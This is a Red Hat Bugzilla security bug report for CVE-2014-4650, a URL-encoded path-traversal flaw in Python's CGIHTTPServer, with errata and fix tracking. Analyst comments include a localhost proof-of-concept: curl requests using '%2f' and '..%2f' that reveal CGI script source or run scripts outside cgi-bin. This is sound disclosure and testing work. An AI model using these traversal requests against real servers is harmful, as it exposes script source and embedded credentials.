Bug 1113527 (CVE-2014-4650) - CVE-2014-4650 python: CGIHTTPServer module does not properly handle URL-encoded path separators in URLs
Summary: CVE-2014-4650 python: CGIHTTPServer module does not properly handle URL-encod...
Keywords:
Status: CLOSED ERRATA
Alias: CVE-2014-4650
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 1113528 1113529 1113530 1187779 1206572 1206574
Blocks: 1113532 1210268
TreeView+ depends on / blocked
 
Reported: 2014-06-26 11:03 UTC by Vasyl Kaigorodov
Modified: 2021-02-17 06:26 UTC (History)
20 users (show)

Fixed In Version: python 2.7.8, python 3.3.6, python 3.4.2
Doc Type: Bug Fix
Doc Text:
It was discovered that the CGIHTTPServer module incorrectly handled URL encoded paths. A remote attacker could use this flaw to execute scripts outside of the cgi-bin directory, or disclose source of scripts in the cgi-bin directory.
Clone Of:
Environment:
Last Closed: 2016-11-03 21:09:51 UTC
Embargoed:


Attachments (Terms of Use)


Links
System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2015:1064 0 normal SHIPPED_LIVE Moderate: python27 security, bug fix, and enhancement update 2015-06-04 12:28:00 UTC
Red Hat Product Errata RHSA-2015:1330 0 normal SHIPPED_LIVE Moderate: python security, bug fix, and enhancement update 2015-07-20 18:00:12 UTC
Red Hat Product Errata RHSA-2015:2101 0 normal SHIPPED_LIVE Moderate: python security, bug fix, and enhancement update 2015-11-19 11:04:15 UTC

Description Vasyl Kaigorodov 2014-06-26 11:03:32 UTC
It was discovered [1] that Python built-in module CGIHTTPServer  does not properly handle URL-encoded path separators in URLs which may enable attackers to disclose a CGI script's source code or execute arbitrary scripts in the server's document root.
Complete technical description is available at [1]

[1]: http://bugs.python.org/issue21766

Upstream commits:
2.7: http://hg.python.org/cpython/rev/b4bab0788768
3.2: http://hg.python.org/cpython/rev/e47422855841
3.3: http://hg.python.org/cpython/rev/5676797f3a3e
3.4: http://hg.python.org/cpython/rev/847e288d6e93

Comment 1 Vasyl Kaigorodov 2014-06-26 11:04:43 UTC
Created python tracking bugs for this issue:

Affects: fedora-all [bug 1113528]

Comment 2 Vasyl Kaigorodov 2014-06-26 11:04:46 UTC
Created python26 tracking bugs for this issue:

Affects: epel-5 [bug 1113530]

Comment 3 Vasyl Kaigorodov 2014-06-26 11:04:49 UTC
Created python3 tracking bugs for this issue:

Affects: fedora-all [bug 1113529]

Comment 4 Huzaifa S. Sidhpurwala 2014-11-19 09:08:13 UTC
Analysis:
=========

CGIHTTPServer is unable to handle certain URL-encoded path separators (like %2f etc). This can lead two consequences:

1. Disclosure of the contents of a CGI script. This is bad because CGI scripts may contain confidential information like usernames/password used to connect to other backend services like databases etc. Also looking at CGI you could bypass intended restrictions on services and a lot of other consequences.

2. You could execute other cgi scripts, which are outside the restricted "cgi-bin" directory or whatever directory is set via the "cgi_directories" parameter, which can have further consequences based on how your web application is designed.

You cannot however execute arbitrary commands, and the flaw is limited to the applications constructed using CGIHTTPServer module.

How to reproduce:
=================
1. To reproduce CGI script disclosure:

a. Create a directory (which will act as root for your webserver) and a cgi-bin directory within it.
$ mkdir -p web/cgi-bin

b. Create the following sample script inside the cgi-bin directory:
$ cat test.py 
#!/usr/bin/env python2
import sys

db_credentials = "SECRET"
sys.stdout.write("Content-type: text/html\r\n\n")
sys.stdout.write("hello world!")

c. Start the web server from inside the "web" directory:
$ python /usr/lib64/python2.7/CGIHTTPServer.py

d. The following should work:
$ curl http://localhost:8000/cgi-bin/test.py
hello world!

e. The following should not work (on a fixed version of python):
$ curl http://localhost:8000/cgi-bin%2ftest.py
#!/usr/bin/env python2
import sys

db_credentials = "SECRET"
sys.stdout.write("Content-type: text/html\r\n\n")
sys.stdout.write("hello world!")

2. To reproduce arbitrary cgi scripts.

a. Create a file called exploit.py in the root of the web server directory, with contents similar to test.py

b. This should not work (on fixed version of python):
$  curl http://localhost:8000/cgi-bin/..%2fexploit.py
Exploited!

Comment 5 Vincent Danen 2014-11-21 19:29:29 UTC
Statement:

This issue affects the versions of python as shipped with Red Hat Enterprise Linux 5 and 7 as well as Red Hat Software Collections. A future update may address this issue. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.

Red Hat Enterprise Linux 5 is now in Production 3 Phase of the support and maintenance life cycle. This has been rated as having Moderate security impact and is not currently planned to be addressed in future updates. For additional information, refer to the Red Hat Enterprise Linux Life Cycle: https://access.redhat.com/support/policy/updates/errata/.

Comment 9 Branislav Náter 2015-05-13 15:13:38 UTC
(In reply to Huzaifa S. Sidhpurwala from comment #4)
> Analysis:
> =========
> 
> CGIHTTPServer is unable to handle certain URL-encoded path separators (like
> %2f etc). This can lead two consequences:
> 
> 1. Disclosure of the contents of a CGI script. This is bad because CGI
> scripts may contain confidential information like usernames/password used to
> connect to other backend services like databases etc. Also looking at CGI
> you could bypass intended restrictions on services and a lot of other
> consequences.
> 
> 2. You could execute other cgi scripts, which are outside the restricted
> "cgi-bin" directory or whatever directory is set via the "cgi_directories"
> parameter, which can have further consequences based on how your web
> application is designed.
> 
> You cannot however execute arbitrary commands, and the flaw is limited to
> the applications constructed using CGIHTTPServer module.
> 
> How to reproduce:
> =================
> 1. To reproduce CGI script disclosure:
> 
> a. Create a directory (which will act as root for your webserver) and a
> cgi-bin directory within it.
> $ mkdir -p web/cgi-bin
> 
> b. Create the following sample script inside the cgi-bin directory:
> $ cat test.py 
> #!/usr/bin/env python2
> import sys
> 
> db_credentials = "SECRET"
> sys.stdout.write("Content-type: text/html\r\n\n")
> sys.stdout.write("hello world!")
> 
> c. Start the web server from inside the "web" directory:
> $ python /usr/lib64/python2.7/CGIHTTPServer.py
> 
> d. The following should work:
> $ curl http://localhost:8000/cgi-bin/test.py
> hello world!
> 
> e. The following should not work (on a fixed version of python):
> $ curl http://localhost:8000/cgi-bin%2ftest.py
> #!/usr/bin/env python2
> import sys
> 
> db_credentials = "SECRET"
> sys.stdout.write("Content-type: text/html\r\n\n")
> sys.stdout.write("hello world!")
> 
> 2. To reproduce arbitrary cgi scripts.
> 
> a. Create a file called exploit.py in the root of the web server directory,
> with contents similar to test.py
> 
> b. This should not work (on fixed version of python):
> $  curl http://localhost:8000/cgi-bin/..%2fexploit.py
> Exploited!

Regarding scenario 2:
I'm testing on python27-python-2.7.8-2.el6 (in rhscl-2.0). While it's not possible to execute cgi script outside of cgi-bin directory, it is possible to reveal its content. I've put test.py from your reproducer in "web" directory and then run "curl http://localhost:8000/cgi-bin/..%2ftest.py"

:: [  BEGIN   ] :: Run script outside of cgi-bin :: actually running 'curl -s http://localhost:8000/cgi-bin/..%2ftest.py'
127.0.0.1 - - [13/May/2015 11:02:19] "GET /cgi-bin/..%2ftest.py HTTP/1.1" 200 -
#!/usr/bin/env python2
import sys

db_credentials = "SECRET"
sys.stdout.write("Content-type: text/html\r\n\n")
sys.stdout.write("hello world!")

Comment 10 Tomas Hoger 2015-05-14 12:47:11 UTC
I find it expected that any file outside of the cgi-bin directory is not handled in any special way and that it's returned to the client as is.  So if the file happens to be script, client can see its source.

Comment 11 errata-xmlrpc 2015-06-04 08:30:02 UTC
This issue has been addressed in the following products:

  Red Hat Software Collections for Red Hat Enterprise Linux 7
  Red Hat Software Collections for Red Hat Enterprise Linux 6
  Red Hat Software Collections for Red Hat Enterprise Linux 6.5 EUS
  Red Hat Software Collections for Red Hat Enterprise Linux 6.6 EUS

Via RHSA-2015:1064 https://rhn.redhat.com/errata/RHSA-2015-1064.html

Comment 12 errata-xmlrpc 2015-07-22 06:39:43 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 6

Via RHSA-2015:1330 https://rhn.redhat.com/errata/RHSA-2015-1330.html

Comment 14 errata-xmlrpc 2015-11-19 12:42:46 UTC
This issue has been addressed in the following products:

  Red Hat Enterprise Linux 7

Via RHSA-2015:2101 https://rhn.redhat.com/errata/RHSA-2015-2101.html


Note You need to log in before you can comment on or make changes to this bug.